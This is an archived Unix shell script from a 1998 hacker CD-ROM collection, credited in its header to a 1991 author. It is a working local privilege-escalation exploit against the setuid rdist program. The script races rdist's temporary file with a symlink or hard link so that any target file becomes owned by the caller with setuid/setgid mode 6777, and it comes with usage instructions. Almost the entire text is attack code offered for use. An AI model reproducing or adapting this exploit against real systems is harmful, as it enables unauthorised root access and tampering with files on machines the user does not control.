home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / gimmie_s.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  1.7 KB  |  94 lines

  1. #!/bin/sh
  2. # GIMME - "gimme' a file"
  3. # Demonstrate rdist's ability to give me permission to access anything.
  4. #
  5. # gimme <pathname> [<permission> [<directory>]]
  6. #<pathname> is the target file.
  7. #<permission> is the octal mode to which the file access permission
  8. #should be set.  Note that this may not be effective unless
  9. #either the SUID (4000) or SGID (2000) bits are also requested.
  10. #<directory> is the target directory for rdist to use if a hard
  11. #link is desired.  Note that the user must have permission
  12. #to create this directory, it must be on the same filesystem
  13. #as the target file, and the target file must not be a
  14. #directory.  This option is necessary to change the ownership
  15. #of the target if chown() of a symbolic link modifies the
  16. #link itself, and not the file it refers to.
  17. #
  18. # 1991.9.14 -Tsutomu Shimomura, Los Alamos National Laboratory
  19. #tsutomu@no-sense.LANL.GOV
  20.  
  21. dirname=gimme$$
  22. deftemp=/tmp
  23. defperm=6777
  24.  
  25. if [ $1x = x ]; then
  26. echo "Usage: $0 <pathname> [<permission> [<directory>]]" >&2
  27. exit 1
  28. fi
  29.  
  30. if [ $2x != x ]; then
  31. perm=$2
  32. else
  33. perm=$defperm
  34. fi
  35.  
  36. if [ $3x != x ]; then
  37. link="ln"
  38. temp=$3/$dirname
  39. target=$1
  40. else
  41. link="ln -s"
  42. temp=$deftemp/$dirname
  43. case $1 in
  44. /*)
  45. target=$1
  46. ;;
  47. *)
  48. target=`pwd`/$1
  49. ;;
  50. esac
  51. fi
  52.  
  53. trap "rm -fr $temp; exit 1"  1 2 15
  54. umask 66
  55. mkdir $temp; if [ $? != 0 ]; then
  56. exit 1
  57. fi
  58.  
  59. set `whoami` $LOGNAME
  60. user=$1
  61. set daemon `groups`
  62. while [ $# != 1 ]; do
  63. shift
  64. done
  65. group=$1
  66.  
  67. (
  68. echo "t$temp/something"
  69. echo "R0 $perm 1 0 $user $group "
  70.  
  71. while [ ! -f $temp/rdist* ]; do
  72. sleep 1
  73. done
  74.  
  75. set $temp/rdist*
  76. rm -f $1
  77. if $link $target $1 >&2; then
  78. echo "" | dd bs=3 conv=sync 2>/dev/null
  79. echo ""
  80.  
  81. echo 0 > $temp/status
  82. else
  83. echo 1 > $temp/status
  84. fi
  85.  
  86. exit
  87. ) | rdist -Server
  88.  
  89. status=`cat $temp/status`
  90. rm -fr $temp
  91. echo "Status=$status"
  92. exit $status
  93.  
  94.